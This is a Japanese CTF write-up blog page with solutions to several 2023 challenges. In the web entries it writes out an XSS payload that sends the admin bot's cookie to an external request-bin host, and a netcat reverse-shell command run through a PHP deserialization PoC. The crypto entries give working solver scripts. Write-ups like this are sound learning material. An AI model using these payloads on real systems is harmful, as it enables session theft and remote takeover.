CTF日本語サイト

2023年02月19日00:00

Incognito 4.0 Meow

カテゴリ: Incognito 4.0

Meow
797
meow

テキストエディタで中身を見るとフラグが書かれている。

ictf{easiest_challenge_of_them_all}

実践バイナリ解析　バイナリ計装、解析、逆アセンブリのためのLinuxツールの作り方 (アスキードワンゴ)

株式会社クイープ／遠藤美代子

ドワンゴ

2022-01-31

2023年02月12日00:00

DiceCTF 2023 recursive-csp

カテゴリ: DiceCTF 2023

web/recursive-csp
strellic
the nonce isn't random, so how hard could this be?
(the flag is in the admin bot's cookie)
recursive-csp.mc.ax
Admin Bot

Webページのソースは次の通り。

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    
  </body>
</html>

nameに<script>タグを入れてXSSを発生させる。Content-Security-Policyのscript-srcのnonce値を合わせておく必要がある。
次のプログラムでnonce値が00000000になる入力値を求める。

import binascii
import string
import itertools

for i in range(1, 10):
    print(i)
    for s in itertools.permutations(string.ascii_lowercase, i):
        ss = "".join(s)
        name = '<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>' + ss
        h = binascii.crc32(name.encode())
        if h==0:
            print(name)
            exit()

少し時間がかかるが実行すると次の結果が得られる。

1
2
3
4
5
6
7
<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>ndvimpy

次のようにURLエンコードしてadmin botに入力するとCookieの情報を読み取ることができる。

https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2200000000%22%3Edocument.location=%22https://enxsx38x468t.x.pipedream.net/?s=%22%20%2b%20document.cookie%3C/script%3Endvimpy

RequestBinに次のログが残る。

GET/?s=flag=dice{h0pe_that_d1dnt_take_too_l0ng}

フラグは、

dice{h0pe_that_d1dnt_take_too_l0ng}

Cyclic Redundancy Check Implement in C (English Edition)

Deng, Calin

Calin Deng

2015-12-05

2023年02月07日00:00

DiceCTF 2023 Provably Secure

カテゴリ: DiceCTF 2023

crypto/Provably Secure
jyu
I proved this cryptographic combiner to be super secure (specifically IND-CCA2) on my graduate cryptography final exam, but just to be safe, I'm making you break it with both primitives being computationally secure!
nc mc.ax 31493
Downloads
server.py

server.py

#!/usr/local/bin/python

# Normally you have unlimited encryption and decryption query requests in the IND-CCA2 game.
# For performance reasons, my definition of unlimited is 8 lol

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
from secrets import randbits
from os import urandom
from Crypto.Util.strxor import strxor

def encrypt(pk0, pk1, msg):
    r = urandom(16)
    r_prime = strxor(r, msg)
    ct0 = pk0.encrypt(r, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                         algorithm=hashes.SHA256(), label=None))
    ct1 = pk1.encrypt(r_prime, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), 
                         algorithm=hashes.SHA256(), label=None))
    return ct0.hex() + ct1.hex()


def decrypt(key0, key1, ct):
    ct0 = ct[:256]
    ct1 = ct[256:]
    r0 = key0.decrypt(ct0, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                           algorithm=hashes.SHA256(), label=None))
    r1 = key1.decrypt(ct1, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                           algorithm=hashes.SHA256(), label=None))
    return strxor(r0, r1)


if __name__ == '__main__':
    print("""Actions:
0) Solve
1) Query Encryption
2) Query Decryption
""")
    for experiment in range(1, 129):
        print("Experiment {}/128".format(experiment))
        key0 = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        key1 = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        pk0 = key0.public_key()
        pk1 = key1.public_key()
        print("pk0 =", pk0.public_numbers().n)
        print("pk1 =", pk1.public_numbers().n)
        m_bit = randbits(1)
        seen_ct = set()
        en_count = 0
        de_count = 0
        
        while True:
            choice = int(input("Action: "))
            if choice == 0:
                guess = int(input("m_bit guess: "))
                if (guess == m_bit):
                    print("Correct!")
                    break
                else:
                    print("Wrong!")
                    exit(0)
            elif choice == 1:
                en_count += 1
                if (en_count > 8):
                    print("You've run out of encryptions!")
                    exit(0)
                m0 = bytes.fromhex(input("m0 (16 byte hexstring): ").strip())
                m1 = bytes.fromhex(input("m1 (16 byte hexstring): ").strip())
                if len(m0) != 16 or len(m1) != 16:
                    print("Must be 16 bytes!")
                    exit(0)
                msg = m0 if m_bit == 0 else m1
                ct = encrypt(pk0, pk1, msg)
                seen_ct.add(ct)
                print(ct)
            
            elif choice == 2:
                de_count += 1
                if (de_count > 8):
                    print("You've run out of decryptions!")
                    exit(0)
                in_ct = bytes.fromhex(input("ct (512 byte hexstring): ").strip())
                if len(in_ct) != 512:
                    print("Must be 512 bytes!")
                    exit(0)
                if in_ct in seen_ct:
                    print("Cannot query decryption on seen ciphertext!")
                    exit(0)
                print(decrypt(key0, key1, in_ct).hex())

    with open('flag.txt', 'r') as f:
        print("Flag: " + f.read().strip())

0か1のm_bitを128回連続で当てるとフラグゲット。
Actionsで1) Query Encryptionを選択し2つの値を入力すると暗号化されたデータが返される。次に2) Query Decryptionを選択し暗号化されたデータを入力として与えると1で入力した2つの値のどちらかに復号される。m_bitが0の時は最初の入力、1の時は2つ目の入力となるので、m_bitが分かる。

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'

p = remote('mc.ax', 31493)

for i in range(128):
    p.recvuntil(b"/128\n")
    ret = p.recvline()  #pk0
    ret = p.recvline()  #pk1

    p.recvuntil(b"Action: ")
    p.sendline(b"1")

    p.recvuntil(b"m0 (16 byte hexstring): ")
    p.sendline(b"11111111111111111111111111111111")
    p.recvuntil(b"m1 (16 byte hexstring): ")
    p.sendline(b"22222222222222222222222222222222")

    ct = p.recvline()
    ct = ct.strip()
    #print(ct)

    p.recvuntil(b"Action: ")
    p.sendline(b"2")

    p.recvuntil(b"ct (512 byte hexstring): ")
    p.sendline(ct)

    val = p.recvline()
    val = val.strip()
    #print(val)

    p.recvuntil(b"Action: ")
    p.sendline(b"0")

    p.recvuntil(b"m_bit guess: ")
    if val == b"11111111111111111111111111111111":
        p.sendline(b"0")
    else:
        p.sendline(b"1")
    
    ret = p.recvline()
    #print(ret)
    if ret == b"Wrong":
        break

ret = p.recvall()
#print(ret)
p.close()

実行すると次のようになる。

b'Experiment 128/128\n'
b'pk0 = 26483178418609116136951478639155735955228244719231038357154286456849164060537738601129461329027032592022630276653274631380513565573453208959131970498627891166304660979526866358093970418467452255935885486672919046263969293559022305618635679493450910418358860413789966895286255402093586148398942408961686081886747201577911268454355107333476809801749505548136117482308470616651066354286490397379793697989041763209509786130857855625486035421706980743070961196362581601994281592155108200050766753687511387016112248369819804225762436294955214316499544033467870439578449504064153537328438230865934214907862597149182412802701\n'
b'pk1 = 22667744595601474719286417722625980199953337073921238439970513544682185573760647158871048307685415680411492067802867281482343310100191877885779793610507355501999611487469590935934426591359710644022154322375553905976005195668301956253448563908292821833250608789296031973513718421770681387826699074934899042073377864571289646893078940363500912533248781684860073627225276507037962023181884504883692372741763762006049491280194835446782532329513422943632894660291064132748577211239618413055708718354177215501903052248014031902261890798295746583994399760723038360888997246445020179588051003201717048265195427106050941676633\n'
b'Action: '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x18 bytes:
b'm0 (16 byte hexstring): '
[DEBUG] Sent 0x21 bytes:
b'11111111111111111111111111111111\n'
[DEBUG] Received 0x18 bytes:
b'm1 (16 byte hexstring): '
[DEBUG] Sent 0x21 bytes:
b'22222222222222222222222222222222\n'
[DEBUG] Received 0x409 bytes:
b'5a3f744e9f9c02d1b11bf4bf85d9dbf5ec1f8ca76b2468cd3479f55f337a65ad38a74ab8aa698903c48672c4d2681c1da170f4cf2551a35515258f7e1536fa92d7184d90d20096605a939adc17e58c6c0f010d1ee7978f034baa3c54bb6650bc496232cc298349ccefff2b9aca787603bca06b04e8d6c7317cc928097b3cc5a0a376794f67d4926df80e9d8729d14284d64ae34977fd87be5ec37072fe4f2842761fe25275ac903fc44677bd79a49d76d04b96c9152703b569fd4e6e21041eb69c5c8b6b970391c693a46748b63a6179fc53fb24a30ee651a98afdff748f4cbecb86f81d1a53acc93cadb338f06fccbc4515707a7ab721e644205986eb29d8be6f50162452fc1d8891df1b576d5da495c4631f7d1a353f2fcf79460fe2207d96ccae1385d33890705a19bafdf910ef2b723e21a1a225df761416626d1cf3d4b405b456514b050dd69dcb3987cd9cca82de7cce0dc57d32967a2d43ace5f0bab765c03664d61dd32a876de664f2e5b4cf4d8c744cb5b30a538b03aba6d111596af6fcb60252843c07f9b120b57b06ab46cca0b306b6215bb1a90eb062bdb7c1e7192092fcb24089b0d5a114c77b8904e4fffbf5ef2b8dbf95112c2362c14df478cb2f89dfd03d48ffe89cc864f5b5ac056e4886c87dbdc2ee126e1ed69848401fee18cfde7cf326aad014cc53d047979d92d851678d002105ab341f8c0b83e060\n'
b'Action: '
[DEBUG] Sent 0x2 bytes:
b'2\n'
[DEBUG] Received 0x19 bytes:
b'ct (512 byte hexstring): '
[DEBUG] Sent 0x401 bytes:
b'5a3f744e9f9c02d1b11bf4bf85d9dbf5ec1f8ca76b2468cd3479f55f337a65ad38a74ab8aa698903c48672c4d2681c1da170f4cf2551a35515258f7e1536fa92d7184d90d20096605a939adc17e58c6c0f010d1ee7978f034baa3c54bb6650bc496232cc298349ccefff2b9aca787603bca06b04e8d6c7317cc928097b3cc5a0a376794f67d4926df80e9d8729d14284d64ae34977fd87be5ec37072fe4f2842761fe25275ac903fc44677bd79a49d76d04b96c9152703b569fd4e6e21041eb69c5c8b6b970391c693a46748b63a6179fc53fb24a30ee651a98afdff748f4cbecb86f81d1a53acc93cadb338f06fccbc4515707a7ab721e644205986eb29d8be6f50162452fc1d8891df1b576d5da495c4631f7d1a353f2fcf79460fe2207d96ccae1385d33890705a19bafdf910ef2b723e21a1a225df761416626d1cf3d4b405b456514b050dd69dcb3987cd9cca82de7cce0dc57d32967a2d43ace5f0bab765c03664d61dd32a876de664f2e5b4cf4d8c744cb5b30a538b03aba6d111596af6fcb60252843c07f9b120b57b06ab46cca0b306b6215bb1a90eb062bdb7c1e7192092fcb24089b0d5a114c77b8904e4fffbf5ef2b8dbf95112c2362c14df478cb2f89dfd03d48ffe89cc864f5b5ac056e4886c87dbdc2ee126e1ed69848401fee18cfde7cf326aad014cc53d047979d92d851678d002105ab341f8c0b83e060\n'
[DEBUG] Received 0x29 bytes:
b'11111111111111111111111111111111\n'
b'Action: '
[DEBUG] Sent 0x2 bytes:
b'0\n'
[DEBUG] Received 0xd bytes:
b'm_bit guess: '
[DEBUG] Sent 0x2 bytes:
b'0\n'
[DEBUG] Received 0x43 bytes:
b'Correct!\n'
b'Flag: dice{yeah_I_lost_like_10_points_on_that_proof_lmao}\n'

フラグは、

dice{yeah_I_lost_like_10_points_on_that_proof_lmao}

暗号ハードウェアのセキュリティ

李陽

コロナ社

2019-05-23

2023年01月23日00:00

Insomni'hack teaser 2023 Welcome

カテゴリ: Insomni'hack teaser 2023

Welcome
by Dreyvor
! Welcome to Insomnihack 2023 !
Let's start with an easy and well-known web exploitation.
A hipster welcome for hipster scriptkiddies, here you go!
https://welcome.insomnihack.ch:8443

このPoCを利用する。

Tomat0Soup@_Tomat0Soup_
Excited to share my latest critical security finding in the Kagus CMS - a PHP deserialization vulnerability! Check… https://t.co/rwQKfDQWPg
2023/01/18 06:55:49

ローカルでリクエストを待ち受ける。

$ nc -l 1234

ngrokで公開する。

$ ngrok tcp 1234

PoCを実行する。

$ go run poc.go
Target (e.g. https://localhost:9000):
https://welcome.insomnihack.ch:8443
Command (e.g. nc 192.168.0.10 2345 -e sh):
nc 0.tcp.jp.ngrok.io 12649 -e sh
[*] INFO: Preparing to send command: "nc 0.tcp.jp.ngrok.io 12649 -e sh" to "https://welcome.insomnihack.ch:8443"
[*] INFO: Sending request...

Webサーバと接続されているのでコマンドを実行する。

$ nc -l 1234
ls
createUserAccount.php
info_flag
cat info_flag
The flag is located at /flag.txt
cat /flag.txt
INS{N3V3r_7Ru57_917HUb_r3l34532!_4lw4Y2_KoMP1L3_7H3M}

ネットワークセキュリティ概論

井関文一

コロナ社

2022-03-07

2023年01月22日00:00

Real World CTF 5th 0KPR00F

カテゴリ: Real World CTF 5th

0KPR00F
Score: 101
Crypto, difficulty:Normal
Sh0w me the pr00f that y0u understand 0kpr00f. If its 0k, i'll give y0u what y0u want!
nc 47.254.47.63 13337
attachment

task.py。PK=(PKC, PKCa)が与えられる。

    def handle(self):
        try:
            signal.signal(signal.SIGALRM, self.timeout_handler)
            self.dosend('===========================')
            self.dosend('=WELCOME TO 0KPR00F SYSTEM=')
            self.dosend('===========================')
            PK,VK = genK(curve_order)
            self.dosend(str(PK))
            self.dosend('now give me your proof')
            msg = self.request.recv(1024).strip()
            msg = msg.decode('utf-8')
            tmp = msg.replace('(','').replace(')','').replace(',','')
            tmp = tmp.split(' ')
            assert len(tmp) == 6
            PiC = (FQ(int(tmp[0].strip())),FQ(int(tmp[1].strip())))
            PiCa = (FQ(int(tmp[2].strip())),FQ(int(tmp[3].strip())))
            PiH = (FQ(int(tmp[4].strip())),FQ(int(tmp[5].strip())))
            proof = (PiC,PiCa,PiH)
            if self.OKPROOF(proof,VK):
                self.dosend("Congratulations！Here is flag:"+flag)
            else:
                self.dosend("sorry")
            

        except TimeoutError:
            self.dosend('Timeout!')
            self.request.close()
        except:
            self.dosend('Wtf?')
            self.request.close()

tとaは乱数。

Ct = [t**0, t**1, t**2, t**3, t**4, t**5, t**6]
PKC = [G1*t**0, G1*t**1, G1*t**2, G1*t**3, G1*t**4, G1*t**5, G1*t**6]
PKCa = [a*G1*t**0, a*G1*t**1, a*G1*t**2, a*G1*t**3, a*G1*t**4, a*G1*t**5, a*G1*t**6]

となる。

LENGTH = 7


def Cx(x,length=LENGTH):
    res = []
    for i in range(length):
        res.append(pow(x,i,curve_order) % curve_order)
    return res

def C(x,y,length=LENGTH):
    assert len(x) == len(y) == length
    res = multiply(G1, curve_order)
    for i in range(length):
        res = add(multiply(x[i],y[i]),res) 
    return res 

def Z(x):
    return (x-1)*(x-2)*(x-3)*(x-4) % curve_order


def genK(curve_order,length=LENGTH):
    t = int(os.urandom(8).hex(),16) % curve_order
    a = int(os.urandom(8).hex(),16) % curve_order
    Ct = Cx(t)
    PKC = []
    for ct in Ct:
        PKC.append(multiply(G1, ct))
    PKCa = []
    for ct in Ct:
        PKCa.append(multiply(multiply(G1, ct), a))

    PK = (PKC,PKCa)
    VKa = multiply(G2, a)
    VKz = multiply(G2, Z(t))
    VK = (VKa,VKz)
    return PK,VK

VK = (a*G2, (t-1)*(t-2)*(t-3)*(t-4)*G2)。

pairing(VKa, PiC) = pairing(G2, PiCa)
pairing(G2, PiC) = pairing(VKz, PiH)

となるPiC, PiCa, PiHを入力することでフラグを得ることができる。

def verify(proof,VK):
    VKa,VKz = VK
    PiC,PiCa,PiH = proof

    l = pairing(VKa, PiC)
    r = pairing(G2, PiCa)
    if l !=r:
        return False
    l = pairing(G2,PiC)
    r = pairing(VKz,PiH)
    if l !=r:
        return False
    return True

楕円曲線のペアリングの性質として、

e(P, Q+R) = e(P, Q)*e(P, R)
e(P+Q, R) = e(P, R)*e(Q, R)

より、

e(a*P, Q) = e(P, a*Q) = e(P, Q)**a

pairing(VKa, PiC) = pairing(G2, PiCa)
VKa = a*G2なので、
pairing(VKa, PiC) = pairing(a*G2, PiC) = pairing(G2, a*PiC)

pairing(G2, PiC) = pairing(VKz, PiH)
VKz = (t-1)*(t-2)*(t-3)*(t-4)*G2より、
pairing(VKz, PiH) = pairing((t-1)*(t-2)*(t-3)*(t-4)*G2, PiH) = pairing(G2, (t-1)*(t-2)*(t-3)*(t-4)*PiH)

したがって、

PiCa = a*PiC
PiC = (t-1)*(t-2)*(t-3)*(t-4)*PiH = (t**4 - 10*t**3 + 35*t**2 - 50*t + 24)*PiH

PiHにG1を適用することで、PiC, PiCa, PiHを求めることができる。

PiH = G1
PiC = t**4*G1 - 10*t**3*G1 + 35*t**2*G1 - 50*t*G1 + 24*G1
= PKC[4] - 10*PKC[3] + 35*PKC[2] - 50*PKC[1] + 24*PKC[0]
PiCa = PKCa[4] - 10*PKCa[3] + 35*PKCa[2] - 50*PKCa[1] + 24*PKCa[0]

PiH、PiC、PiCaを求めるプログラムは次の通り。

from py_ecc import bn128

lib = bn128
FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus
G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = \
  lib.G1, lib.G2, lib.G12, lib.b, lib.b2, lib.b12, lib.is_inf, lib.is_on_curve, lib.eq, lib.add, lib.double, lib.curve_order, lib.multiply
pairing, neg = lib.pairing, lib.neg

PK = ([(1, 2), (6951158980176023808672944052330889760482237855327193887807935495478570808642, 17908888220283291625531314275972104628236311407176528569109534955078754769105), (18901928226760644830513160068234084069922194040431438515132150914220828048108, 15654368433618756732770875139641381270966509158952057127466508623044552223548), (10402829170097144260590441127593915274060143821877921964578566788272400218808, 16945758728076495812604523985293120334237244493463161019483862214883437869437), (10882799501868362079687182580425887447643004994279269632588887193657945065681, 13584860258034637211660415483386320283321552331750096485350966687939605822059), (20338730205424621285473726618647183068251457802061517360093181360024919937798, 18041596372811728194793277057117328423603596981500611475592318838031136515948), (1908179672416088679548828039785263003841933793017957983485643138922098190694, 1461736854479442556312787492486542322267159405618254706198156788708298006119)], [(2755286556932053935732074074652948734719308587331382609322327363667944871556, 6443993305305179591670486209357610205344864402376428648159984658469938918416), (7281280718878434895774687564471683708914040684368975387001707493965619000127, 2468148688528445086289242182898381558066459201477704832289877907223065116665), (17899854767572753776559148635910658933704043743895643043967175639135936543672, 15128119548546358989344382389045909618233622936610346645129750311379239899113), (16921033913112737102481002928667683753884890325996253668788751068369739277097, 19353983169964573455451593298095160492409167433812498648213579879173651132781), (11335331284820005797549195812537509528738634517391069726828669994538127370901, 20145142547921108524982689259164728613327370901047022787078069009352392471024), (21440973202324113772836077051131572545181819246459224087082541174977455394815, 21778185593826989204928344332224528536705666523413412025139324875306121915229), (8066276198295105926861821968292432786280580634830298759620637288586361993983, 8951238231599903435597581357944487345101424624979642827105300367893202204224)])
PKC = [(FQ(a), FQ(b)) for a, b in PK[0]]
PKCa = [(FQ(a), FQ(b)) for a, b in PK[1]]

PiH = G1
PiC = PKC[4]
PiC = add(PiC, neg(multiply(PKC[3], 10)))
PiC = add(PiC, multiply(PKC[2], 35)) 
PiC = add(PiC, neg(multiply(PKC[1], 50)))
PiC = add(PiC, multiply(PKC[0], 24))
PiCa = PKCa[4]
PiCa = add(PiCa, neg(multiply(PKCa[3], 10)))
PiCa = add(PiCa, multiply(PKCa[2], 35)) 
PiCa = add(PiCa, neg(multiply(PKCa[1], 50)))
PiCa = add(PiCa, multiply(PKCa[0], 24))
print(PiC, PiCa, PiH)

接続すると、

b'===========================\n'

b'=WELCOME TO 0KPR00F SYSTEM=\n'

b'===========================\n'

b'([(1, 2), (6951158980176023808672944052330889760482237855327193887807935495478570808642, 17908888220283291625531314275972104628236311407176528569109534955078754769105), (18901928226760644830513160068234084069922194040431438515132150914220828048108, 15654368433618756732770875139641381270966509158952057127466508623044552223548), (10402829170097144260590441127593915274060143821877921964578566788272400218808, 16945758728076495812604523985293120334237244493463161019483862214883437869437), (10882799501868362079687182580425887447643004994279269632588887193657945065681, 13584860258034637211660415483386320283321552331750096485350966687939605822059), (20338730205424621285473726618647183068251457802061517360093181360024919937798, 18041596372811728194793277057117328423603596981500611475592318838031136515948), (1908179672416088679548828039785263003841933793017957983485643138922098190694, 1461736854479442556312787492486542322267159405618254706198156788708298006119)], [(2755286556932053935732074074652948734719308587331382609322327363667944871556, 6443993305305179591670486209357610205344864402376428648159984658469938918416), (7281280718878434895774687564471683708914040684368975387001707493965619000127, 2468148688528445086289242182898381558066459201477704832289877907223065116665), (17899854767572753776559148635910658933704043743895643043967175639135936543672, 15128119548546358989344382389045909618233622936610346645129750311379239899113), (16921033913112737102481002928667683753884890325996253668788751068369739277097, 19353983169964573455451593298095160492409167433812498648213579879173651132781), (11335331284820005797549195812537509528738634517391069726828669994538127370901, 20145142547921108524982689259164728613327370901047022787078069009352392471024), (21440973202324113772836077051131572545181819246459224087082541174977455394815, 21778185593826989204928344332224528536705666523413412025139324875306121915229), (8066276198295105926861821968292432786280580634830298759620637288586361993983, 8951238231599903435597581357944487345101424624979642827105300367893202204224)])\n'

b'now give me your proof\n'

(21348779946651574597961960204512750391701998143752788884255868899236735890665, 19901659748119950009164763102312342484229400563449780547593779415410533167802) (647121105526769008859192496408882822606951812640292730048477416083000546744, 3836740433026658496669540696629457982221173205425799331909096872890670417671) (1, 2)

b'Congratulations!Here is flag:rwctf{How_do_you_feel_about_zero_knowledge_proof?}\n'

楕円曲線論入門

J.テイト

丸善出版

2021-04-01

記事検索

ギャラリー